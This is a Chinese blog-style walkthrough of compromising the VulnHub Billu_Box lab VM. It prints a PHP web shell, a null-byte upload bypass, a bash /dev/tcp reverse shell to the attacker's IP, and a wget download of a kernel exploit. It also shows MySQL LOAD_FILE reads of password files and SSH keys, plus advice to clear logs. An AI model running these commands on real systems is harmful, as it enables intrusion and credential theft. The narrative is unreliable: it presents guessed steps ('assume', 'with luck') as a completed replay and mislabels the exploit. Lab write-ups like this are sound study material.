1. 从零开始的Billu_Box渗透之旅:一次完整的靶机实战复盘
最近在整理自己的渗透测试学习笔记,翻到了早期在VulnHub上练习的Billu_Box靶机记录。这算是一台经典的入门到中级难度的靶机,它没有太多花里胡哨的“骚操作”,但涵盖了从信息收集、Web应用漏洞利用、权限提升到最终获取root权限的完整链条,非常适合用来巩固基础。很多朋友在入门渗透测试时,学了一堆工具和命令,但面对一个完整的靶机环境,常常不知道从哪里下手,或者卡在某一步就进行不下去了。今天,我就以Billu_Box为例,把整个渗透过程掰开揉碎了讲一遍,不仅告诉你“怎么做”,更重点分享“为什么这么做”以及“我当时是怎么想的”。整个过程我会尽量模拟一个真实的、从零开始的渗透测试者的视角,包括遇到的坑和绕的弯路,希望能给正在学习的朋友提供一个清晰的参考路径。
Billu_Box靶机模拟了一个存在多处漏洞的Linux服务器环境,我们的最终目标是拿到系统的最高权限(root shell)。整个渗透路径可以概括为:通过端口扫描发现Web服务,对Web应用进行目录枚举和漏洞探测,利用文件上传漏洞获取初始立足点,然后通过信息收集发现数据库凭据,进而利用数据库权限读取敏感文件,最后通过一个内核漏洞完成权限提升。听起来步骤清晰,但每一步都藏着细节。下面,我们就开始这次实战复盘。
2. 环境搭建与初步侦察:确定攻击面
在开始任何渗透测试之前,搭建一个隔离、可控的测试环境是第一步,也是保证学习过程不干扰真实网络的关键。对于VulnHub靶机,我通常使用VMware Workstation或VirtualBox来运行靶机和攻击机。
2.1 靶机与攻击机配置
我下载了Billu_Box的OVA文件,直接导入到虚拟机中。靶机的网络模式我设置为“NAT模式”或“仅主机模式”,这能确保它和我的Kali攻击机处于同一个虚拟网络内,同时与我的物理网络隔离。我的攻击机是一台运行Kali Linux的虚拟机,这是渗透测试的标准发行版,集成了我们需要的所有工具。
启动两台虚拟机后,第一件事是确定靶机的IP地址。由于靶机通常不会主动告知我们它的IP,我们需要进行网络发现。在Kali中,我打开终端,使用netdiscover工具进行二层发现:
sudo netdiscover -r 192.168.1.0/24这里的192.168.1.0/24需要替换为你虚拟网络的实际网段。运行后,工具会列出当前网络中所有活跃的IP和MAC地址。通过对比MAC地址厂商信息(通常VMware/VirtualBox的MAC地址有特定前缀)或尝试Ping测试,我找到了靶机的IP地址,假设是192.168.1.105。
注意:有时靶机可能设置了静态IP,与你的网段不符。如果
netdiscover找不到,可以检查虚拟网络的DHCP服务器设置,或者将靶机和攻击机都设置为“仅主机模式”并配置到同一网段。
2.2 全面的端口与服务扫描
拿到IP地址后,下一步就是进行端口扫描,以确定靶机对外开放了哪些服务,这些服务就是我们的潜在攻击入口。我习惯使用nmap进行一个全面的扫描。
首先,是一个快速的TCP全端口扫描,用于发现开放了哪些端口:
nmap -sS -p- 192.168.1.105-sS: 使用SYN半开放扫描,速度快且相对隐蔽。-p-: 扫描所有65535个端口。
扫描结果显示,靶机开放了以下几个端口:
22/tcp: SSH服务。这是远程管理端口,通常是加固的重点,初期可以作为信息收集来源,但直接爆破难度较大。80/tcp: HTTP服务。这是最常见的Web服务端口,也是我们最有可能的突破口。111/tcp: rpcbind服务。这通常与NFS(网络文件系统)相关,可能是一个有趣的攻击向量。3306/tcp: MySQL服务。数据库端口,如果存在弱口令或配置不当,可能直接获取数据甚至执行命令。
看到这个结果,我的注意力立刻被80端口吸引了。Web应用由于其复杂性,往往是漏洞的高发区。接下来,我对这些开放端口进行更细致的版本和服务探测:
nmap -sV -sC -O -p22,80,111,3306 192.168.1.105-sV: 探测服务版本。-sC: 使用默认的Nmap脚本进行更深入的探测。-O: 尝试识别操作系统。
版本扫描提供了更多信息:80端口运行着Apache httpd 2.2.14,这是一个较旧的版本(可能存在已知漏洞);3306端口运行着MySQL 5.0.51a,同样是一个较老的版本。操作系统识别提示可能为Linux 2.6.X。这些版本信息为我们后续搜索漏洞提供了关键词。
3. Web应用渗透:寻找薄弱入口
既然Web服务(80端口)是最显眼的入口,我们的主攻方向就定在这里。标准的Web渗透流程通常从信息收集开始。
3.1 目录枚举与敏感文件发现
我首先用浏览器直接访问http://192.168.1.105。页面显示了一个简单的登录界面,标题是“Billu Box”。尝试了常见的弱口令(admin/admin, admin/password等)无果。面对一个登录框,常规思路是寻找后台管理页面、源码泄露、备份文件或者测试页面。
我使用gobuster工具进行目录爆破。gobuster是一个用Go语言写的目录/文件爆破工具,速度很快。
gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bakdir: 指定模式为目录爆破。-u: 指定目标URL。-w: 指定字典文件,这里使用了Kali自带的common.txt。-x: 指定要尝试的文件扩展名。
爆破结果很快返回了一些有趣的路径:
/index.php: 主登录页面。/add.php: 看起来像是一个添加内容的页面,但访问需要登录。/show.php: 显示内容的页面。/c.php: 一个简短的PHP文件,访问后显示了一些PHP配置信息(phpinfo()),这本身就是一个信息泄露点,可能暴露路径、版本等。/test.php: 另一个测试页面。/phpmyadmin/: 哇!发现了phpMyAdmin的目录。这是一个用PHP编写的MySQL数据库管理工具,如果配置不当(如弱口令、允许远程连接),将是极佳的突破口。/images/,/uploaded_images/: 图片目录,可能用于存储上传的文件。
3.2 初探phpMyAdmin与登录绕过尝试
发现/phpmyadmin/让我精神一振。直接访问,果然出现了phpMyAdmin的登录界面。我尝试了MySQL的默认空口令和常见弱口令(root/空, root/root, admin/admin等),都没有成功。这说明管理员可能修改了默认密码,或者我们需要的不是数据库的root用户。
此时,我回退一步,思考另一个常见漏洞:本地文件包含。很多Web应用会通过参数来动态包含文件,如果过滤不严,攻击者可以包含系统敏感文件,比如/etc/passwd。我在各个已发现的页面(如index.php,show.php,add.php)的URL参数上尝试添加?page=../../../../etc/passwd或?file=../../../etc/passwd,但都没有成功。
3.3 深入分析“add.php”与文件上传漏洞
我把注意力转回add.php。虽然直接访问它提示需要登录,但也许存在认证绕过或者它本身就有漏洞。我决定用Burp Suite拦截对index.php的登录请求,然后尝试修改参数或进行爆破。但在进行这一步之前,我习惯性地查看了一下网页源码。
在index.php的登录表单处,查看源码发现表单的action指向index.php,提交的参数是uname和pass。我用Burp的Intruder模块对这两个参数进行了简单的字典爆破,但依然没有收获。这让我怀疑,或许正确的入口不在这个主登录框。
我重新审视gobuster的结果,/add.php需要登录,那登录逻辑在哪?会不会存在另一个隐藏的登录面板?或者,add.php本身存在客户端校验,可以被绕过?我直接尝试用Burp拦截一个向add.php发送的POST请求(即使我还没登录),然后重放。服务器返回了“只有管理员可以访问”之类的信息,但没有具体的认证错误。这说明服务端确实有会话校验。
转折点出现在对test.php的分析。访问test.php,页面内容很简单,似乎是一个文件上传的测试接口。页面提示可以上传文件。我立刻意识到,这可能是整个渗透链条的关键!文件上传功能如果过滤不严,可以直接上传一个Web Shell(例如一句话木马PHP文件),从而在服务器上执行任意命令。
我创建了一个简单的PHP Web Shell文件shell.php,内容如下:
<?php system($_GET['cmd']); ?>这个脚本会接收URL中cmd参数的值,并将其作为系统命令执行。
然后,我在test.php页面上传这个文件。第一次尝试,页面提示“文件类型不正确”。这说明服务端对文件类型做了检查。常见的检查方式有:检查HTTP请求头中的Content-Type(如image/jpeg),或者检查文件扩展名(如.php),或者检查文件内容(如文件头魔数)。
绕过技巧一:修改Content-Type。我用Burp拦截上传请求,将Content-Type: application/x-php修改为Content-Type: image/jpeg,然后放行。结果依然失败。
绕过技巧二:修改文件扩展名。我将文件改名为shell.php.jpg再次上传,并用Burp修改Content-Type为image/jpeg。这次,上传成功了!页面返回了文件存储的路径,例如/uploaded_images/shell.php.jpg。
我迫不及待地访问http://192.168.1.105/uploaded_images/shell.php.jpg?cmd=id,期望看到命令执行的结果(uid=33(www-data) gid=33(www-data) groups=33(www-data))。然而,浏览器只显示了一张破损的图片,或者什么都没有。这是怎么回事?
关键点:服务器如何解析文件?虽然我们上传的文件名是.php.jpg,但服务器可能只根据最后的扩展名.jpg将其当作图片处理,Apache不会用PHP解析引擎去执行它。我们的Web Shell没有生效。
我们需要让服务器以PHP方式解析这个文件。这里就需要利用另一个漏洞:解析漏洞。在某些特定的服务器配置下(如旧版Apache的mod_php配合特定AddHandler配置,或者Nginx的错误配置),如果文件名像shell.php.jpg,服务器可能会因为配置了AddHandler php5-script .php,同时错误地认为.php是文件名的有效部分,从而用PHP解析器去处理它。但在当前环境下,显然不适用。
真正的突破口:双写扩展名或空字节截断。我尝试了另一种经典绕过方法:将文件名改为shell.phtml或shell.php5,因为有些服务器配置也会解析这些扩展名为PHP。但都失败了。最后,我尝试了空字节截断(在文件名中插入%00)。在Burp中,我将上传的文件名修改为shell.php%00.jpg。当这个字符串被后端某些老版本的PHP函数(如move_uploaded_file)处理时,%00会被解释为字符串结束符,导致实际保存的文件名是shell.php。
我拦截请求,将文件名字段改为shell.php%00.jpg,然后放行。上传成功!访问http://192.168.1.105/uploaded_images/shell.php?cmd=id,这次终于看到了梦寐以求的输出:
uid=33(www-data) gid=33(www-data) groups=33(www-data)我们成功拿到了一个Web Shell,并且当前用户是www-data,这是Apache服务的默认运行用户,我们获得了在Web服务器上的命令执行权限。
4. 立足与横向移动:从Web Shell到数据库
拿到Web Shell只是第一步,我们现在的权限很低(www-data),目标是要获取最高权限(root)。接下来需要进行信息收集,寻找提权路径。
4.1 建立更稳定的反向Shell
通过Web Shell执行命令虽然可行,但交互性很差,每次都要刷新网页,而且容易丢失会话。我们需要建立一个更稳定的反向Shell连接回我们的攻击机。
首先,在Kali攻击机上监听一个端口:
nc -lvnp 4444然后,通过Web Shell执行命令,让靶机连接回我们。因为靶机环境可能没有netcat,我们使用最通用的bash反向Shell:
bash -c 'bash -i >& /dev/tcp/192.168.1.104/4444 0>&1'将192.168.1.104替换为你的Kali攻击机IP。在Web Shell的cmd参数里执行这个命令:
http://192.168.1.105/uploaded_images/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.104%2F4444%200%3E%261%27URL编码是必要的。执行后,回到Kali的终端,应该能看到连接建立,并出现一个www-data用户的bash提示符。为了获得一个完全交互式的TTY Shell(方便使用su、sudo、vi等需要终端的命令),我们在获得的Shell中执行:
python -c 'import pty; pty.spawn("/bin/bash")'或者
script /dev/null -c bash然后按Ctrl+Z挂起,在Kali终端输入stty raw -echo; fg,再按一次回车。这样我们就获得了一个功能完整的反向Shell。
4.2 搜集系统与数据库信息
现在,我们可以在靶机上自由探索了。首先进行常规的信息收集:
# 查看当前用户和权限 id whoami # 查看操作系统和内核版本 uname -a cat /etc/issue cat /proc/version # 查看网络连接 netstat -antp ss -tulpn # 查看进程列表 ps aux # 查看是否有sudo权限 sudo -l运行sudo -l后发现,www-data用户没有任何sudo权限。这是预料之中的。
接下来,重点查看Web目录下的配置文件,因为里面很可能包含数据库连接密码。我们切换到Web根目录(通常是/var/www):
cd /var/www ls -la我们发现了一个名为index.php的文件和phpmyadmin目录。查看index.php的源码:
cat index.php或者用grep搜索数据库连接字符串:
grep -r "mysql_connect\|mysqli_connect\|pdo\|password" /var/www/ --include="*.php"很快,在/var/www/下的某个配置文件或index.php本身中,我们发现了类似以下的代码:
$conn = mysql_connect("localhost", "root", "root@123") or die(mysql_error());或者可能用户不是root,而是其他名称。无论如何,我们获得了MySQL数据库的用户名和密码:root:root@123。
4.3 利用数据库权限读取敏感文件
现在我们有了数据库的root密码。我们可以通过MySQL读取服务器上的文件,因为MySQL的LOAD_FILE()函数在拥有足够权限时,可以读取服务器文件系统中的文件。
我们通过反向Shell连接到MySQL:
mysql -u root -p输入密码root@123,成功进入MySQL命令行。
在MySQL中,我们可以尝试读取系统的敏感文件,比如/etc/passwd来查看用户列表,或者/etc/shadow来获取密码哈希(但需要root权限)。更重要的是,我们可以读取Web目录下的其他PHP源码文件,或者SSH私钥。
-- 读取 /etc/passwd SELECT LOAD_FILE('/etc/passwd'); -- 尝试读取 /etc/shadow (通常需要系统root权限,但数据库root不一定能读) SELECT LOAD_FILE('/etc/shadow'); -- 读取Web目录下的其他配置文件 SELECT LOAD_FILE('/var/www/connection.php');通过读取/etc/passwd,我们确认了系统上存在一个名为billu的用户。而读取/etc/shadow可能失败或返回空,因为MySQL进程可能没有读取该文件的权限。
关键的一步:读取/home目录下的用户文件。我们尝试读取billu用户目录下的文件:
SELECT LOAD_FILE('/home/billu/user.txt');如果存在,这可能是第一个Flag(在CTF中常见)。但我们的目标是提权。我们继续探索,尝试读取可能存在的SSH私钥:
SELECT LOAD_FILE('/home/billu/.ssh/id_rsa');运气好的话,我们可能会读到SSH私钥的内容。将读到的私钥内容保存到Kali本地一个文件(如billu_id_rsa),修改权限为600,然后尝试SSH登录:
chmod 600 billu_id_rsa ssh -i billu_id_rsa billu@192.168.1.105如果成功,我们就获得了billu用户的Shell,完成了从www-data到普通用户的横向移动。权限提升了一级。
5. 权限提升:从普通用户到Root
现在,我们假设已经通过数据库读取私钥或者通过其他方式(比如在Web目录下找到了备份的SSH密钥)获得了billu用户的Shell。我们现在的用户是billu,目标是root。
5.1 系统信息深度收集
再次进行信息收集,但这次聚焦于提权线索:
# 检查内核版本,寻找公开的本地提权漏洞 uname -a # 输出可能类似:Linux billu 2.6.32-5-686 #1 SMP ... i686 GNU/Linux # 这是一个较老的内核(2.6.32),存在很多已知的提权漏洞。 # 检查是否有任何程序以SUID位运行,特别是那些不常见的 find / -perm -4000 -type f 2>/dev/null # 检查是否有任何程序以SGID位运行 find / -perm -2000 -type f 2>/dev/null # 检查哪些文件对当前用户可写,特别是系统关键文件 find / -writable -type f 2>/dev/null | grep -v "/proc/" | grep -v "/sys/" # 检查cron定时任务,看是否有用户可以修改的脚本 ls -la /etc/cron* /var/spool/cron/ # 检查安装的软件版本,特别是那些以root权限运行的服务 dpkg -l # 对于Debian/Ubuntu rpm -qa # 对于CentOS/RHEL5.2 利用内核漏洞提权
在检查内核版本(uname -a)后,发现是Linux 2.6.32。这是一个非常经典且存在多个本地提权漏洞的内核版本。我们可以搜索对应的漏洞利用代码(Exploit)。
在Kali攻击机上,我们可以使用searchsploit来搜索:
searchsploit linux kernel 2.6.32 privilege escalation这会列出很多漏洞,例如著名的Dirty COW(CVE-2016-5195),但该漏洞影响内核版本2.6.22以后,包括2.6.32。不过,Dirty COW的利用通常需要编译。我们需要找一个更简单、更可能在这个老系统上编译通过的Exploit。
一个非常经典且适用于2.6.32的漏洞是Linux Kernel 2.6.32 < 3.9.9 - 'perf_swevent_init' Local Privilege Escalation,对应的Exploit DB编号是33516。我们可以将其复制到当前目录并查看:
searchsploit -m 33516查看文件,发现是一个C语言源码(33516.c)。我们需要将其上传到靶机并进行编译。
首先,在Kali上启动一个简单的HTTP服务器,便于靶机下载文件:
python3 -m http.server 8080然后在靶机的billu用户Shell中,下载这个Exploit:
cd /tmp wget http://192.168.1.104:8080/33516.c接下来编译它。靶机很可能已经安装了GCC编译器。如果没有,可以尝试安装gcc包。编译命令:
gcc 33516.c -o exploit如果编译成功,会生成一个名为exploit的可执行文件。运行它:
./exploit如果Exploit成功运行,它会尝试提权。成功后,通常你会看到命令提示符从$(普通用户)变成了#(root用户)。运行id命令确认:
id # 输出应为:uid=0(root) gid=0(root) groups=0(root)至此,我们已经成功获得了root权限。
5.3 获取最终Flag与清理痕迹
获得root权限后,最后的任务通常是读取最终的Flag文件。在VulnHub的靶机中,Flag文件通常位于/root目录下,名字可能是root.txt、proof.txt或flag.txt。
cat /root/root.txt这会显示一串哈希值或特定文本,标志着挑战完成。
重要提示:在真实渗透测试或CTF比赛中,最后一步是清理痕迹(在获得授权的前提下)。这包括删除上传的Web Shell文件、清理系统日志(如/var/log/auth.log,/var/log/apache2/access.log等)、删除在/tmp目录下编译的Exploit文件等。但在VulnHub这样的练习环境中,我们通常直接重置虚拟机即可。
6. 渗透路径总结与核心反思
回顾整个Billu_Box的渗透过程,我们可以清晰地梳理出一条攻击链:
- 信息收集:使用
netdiscover和nmap发现靶机IP和开放服务(22, 80, 111, 3306),确定Web服务(80)为主攻方向。 - Web目录枚举:使用
gobuster发现关键路径,特别是/test.php(文件上传点)和/phpmyadmin/。 - 漏洞利用:
- 在
test.php处,通过空字节截断(%00)绕过文件类型检查,成功上传PHP Web Shell(shell.php)。 - 通过Web Shell获得
www-data权限的反向Shell。
- 在
- 权限维持与横向移动:
- 在Web目录配置文件中发现MySQL数据库凭证(
root:root@123)。 - 利用MySQL的
root权限和LOAD_FILE()函数,读取系统文件,可能发现SSH私钥或用户文件。 - 通过SSH私钥登录到普通用户
billu(或其他用户)。
- 在Web目录配置文件中发现MySQL数据库凭证(
- 权限提升:
- 信息收集发现老旧内核版本(2.6.32)。
- 搜索并编译对应的本地内核提权Exploit(如
33516.c)。 - 运行Exploit,成功将权限从普通用户提升至
root。
- 目标达成:读取
/root/root.txt,完成渗透。
核心反思与经验:
- 信息收集是基石:
nmap和目录枚举是打开局面的关键。不要只扫描默认端口,全端口扫描有时能发现意外服务。 - 不要忽视“小”功能点:像
test.php这样的测试页面,往往是安全防护最薄弱的地方,容易成为突破口。 - 绕过技巧的组合使用:文件上传漏洞的利用,往往需要结合多种绕过技巧(修改扩展名、修改Content-Type、空字节截断、解析漏洞等)。理解服务器校验逻辑(前端JS、后端MIME类型、扩展名黑名单/白名单)才能有效绕过。
- 凭证的关联性:Web应用的配置文件中常常存有数据库、其他服务的凭证。拿到一个服务的权限后,要习惯性地去搜索配置文件、备份文件、历史命令,寻找横向移动的跳板。
- 数据库的妙用:拥有数据库高权限账户,不仅能操作数据,还能利用数据库特性(如
LOAD_FILE,INTO OUTFILE)进行文件读写,这在某些情况下比Web Shell更强大。 - 提权需要耐心枚举:从普通用户到root,没有固定套路。必须系统地检查SUID/SGID文件、定时任务、可写文件、内核版本、安装的软件版本等,再针对性地搜索和尝试Exploit。内核提权是Linux系统最后、也往往是最有效的一关。
- 工具是辅助,思路是关键:整个过程中,工具(nmap, gobuster, Burp, searchsploit)只是加快了我们的速度。真正的核心是渗透测试的思维:假设存在漏洞 -> 设计测试方法验证 -> 利用漏洞扩大战果 -> 循环直至目标达成。
Billu_Box靶机就像一本经典的教科书,它把Web渗透中常见的几个关键漏洞(文件上传、信息泄露、弱口令/默认口令、内核提权)串联在了一起。通过这样一次完整的手动复现,远比单纯运行一个自动化脚本收获更大。下次当你面对一个新的靶机或测试环境时,不妨试着把这里的每一步思考过程套用上去,你会发现自己的渗透思路越来越清晰。